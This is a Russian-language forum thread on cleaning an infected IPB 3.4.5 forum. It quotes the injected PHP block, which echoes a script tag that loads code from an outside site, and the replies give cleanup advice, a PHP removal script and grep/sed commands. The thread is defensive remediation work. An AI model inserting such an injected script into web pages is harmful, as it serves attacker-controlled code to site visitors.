[Помощь] Вылечить от вируса 3.4.5

n1k.Sly

Постоялец
Регистрация
7 Сен 2009
Сообщения
97
Реакции
9
Всем привет!
Есть у нас форум версии 3.4.5
И намедни заходя, я увидел что гугл меня предостерегает...
Я все равно зашел и увидел в строке ожидания подгрузку с непонятного сайта.
И сверху warning'и:
Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 114

Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 127

Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 136

Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 137

Warning: Cannot modify header information - headers already sent by (output started at /home/vwclubkz/public_html/ips_kernel/classDb.php:2049) in/home/vwclubkz/public_html/admin/sources/classes/output/formats/html/htmlOutput.php on line 141

Начал смотреть файлы, оказалось что во всех *.php в конце такое:
PHP:
#66a55c#
if(empty($at)) {
$at = "<script type=\"text/javascript\" src=\"http://nataliadeandres.com/wp-content/themes/hemingway/hcqtjjrm.php?id=1255239\"></script>";
echo $at;
}
#/66a55c#

hcqtjjrm.php?id=1255239 - цифры везде меняются, в каждом файлы рандомные цифры стоят
#66a55c# - это так же в каждом файле рандомное идет.
В шапке до warning'ов так же посилился этот код.

собственно вопрос, как можно почистить все это безобразие? Так вышло бэкапы никто не делал.
 
1) Делаем копию текущий фигни (запрос копии у хостера).
2) Все системные файлы заменяем из чистого дистрибутива
3) Поиск с заменой с по остальным файлом (с условием id=*) или замена на что-то безвредное.
- все это только для того чтобы вернуть работоспособность.
Далее это: анализ логов, смена паролей, скан кода и бд, поиск дыр и т.д. - принятие мер.
 
Вы давно заплатки на IPB ставили?
Там зимой и весной выходило много заплаток для 3.4.x
Версию 3.4.8 выпустили как раз чисто из-за заплаток, просто фиксы дыр и ничего нового.
 
1) Делаем копию текущий фигни (запрос копии у хостера).
2) Все системные файлы заменяем из чистого дистрибутива
3) Поиск с заменой с по остальным файлом (с условием id=*) или замена на что-то безвредное.
- все это только для того чтобы вернуть работоспособность.
Далее это: анализ логов, смена паролей, скан кода и бд, поиск дыр и т.д. - принятие мер.
Вот пока что только бы вернуть работоспособность, с остальным будем разбираться, форум увидел в первые и там творится жуткий ужас.
Дамп базы выкачал 1гб... Вобщем не суть...

Я нашел такой вот скрип:
PHP:
<?php

//gendalf_grey

$virus_text = 'в эти кавычки пишем вредоносный код';
$skip_files = array ('delvir.php');
$del = true;
$dir = getcwd().'/';
$num_infected = 0;
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh))!== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir, $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}
function del_virus ($fdir, $ffile)
{
    $flag = false;
$filename = $fdir.$ffile;
echo $filename;
if (!in_array($ffile, $GLOBALS['skip_files'])){
$handle = fopen($filename, "r");
$fsize = filesize($filename);
if (!$fsize){
$contents = '';
}else{
$contents = fread($handle, $fsize);
}
fclose($handle);
if (strpos($contents, $GLOBALS['virus_text']) !== false) {
if ( $GLOBALS['del'] ) {
$contents = str_replace($GLOBALS['virus_text'], '', $contents);
$handle = fopen($filename, "wb");
fwrite($handle,$contents);
fclose($handle);
echo " - deleted";
}
echo " - infected";
$GLOBALS['num_infected']++;
}
}else{
echo " - skipped";
}
echo "<br/>";
};
dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir );
echo "Num infected = $num_infected <br/>";
?>

Будет замечательно если кто поможет, чтоб можно было использовать с моим случаем где в каждом файле рандом чисел...


Вы давно заплатки на IPB ставили?
Там зимой и весной выходило много заплаток для 3.4.x
Версию 3.4.8 выпустили как раз чисто из-за заплаток, просто фиксы дыр и ничего нового.
Сейчас то да... Просто никто не следил за форумом, и так вышло что с даты релиза 3.4.5 не апдейтился.
 
Будет замечательно если кто поможет, чтоб можно было использовать с моим случаем где в каждом файле рандом чисел...
Если нет скрипта, юзаем проги вроде: Notepad++ (Регулярные выражения), мб Text Replacer (аналогов уйма) - условие: возможность замены по маске.
 
Последнее редактирование:
вирус на форуме, редирект на URL
Скрытое содержимое доступно для зарегистрированных пользователей!
 
Хорошо... Если форум этой какой заразили, есть возможность просто восстановить бекап и таким образом без геморроя избавится от вируса?
 
Хорошо... Если форум этой какой заразили, есть возможность просто восстановить бекап и таким образом без геморроя избавится от вируса?
Ну если есть бэкап чистый конечно, главное после сразу поставить все патчи чтоб не было проблем.
 
В линуксе:
Вывести имена файлов, в которых найдена строка с текстом адреса сайта:
#grep -rl nataliadeandres.com /forum

Перенаправить в SED и удалить ВСЮ строку, в которую входит адрес сайта и сохранить файл.
#grep -rH nataliadeandres.com . | cut -d: -f1 | xargs sed -i /nataliadeandres.com/d

Но седом можно запороть файлы, поэтому не забывайте про бекап.
grep -rlZ nataliadeandres.com . | xargs -0 sed -i.bak /nataliadeandres.com/d

Если файлов очень много, можно попробовать применить многопоточность:
grep -rlZ nataliadeandres.com . | xargs -0 -P4 -l8 sed -i.bak /nataliadeandres.com/d
 
Назад
Сверху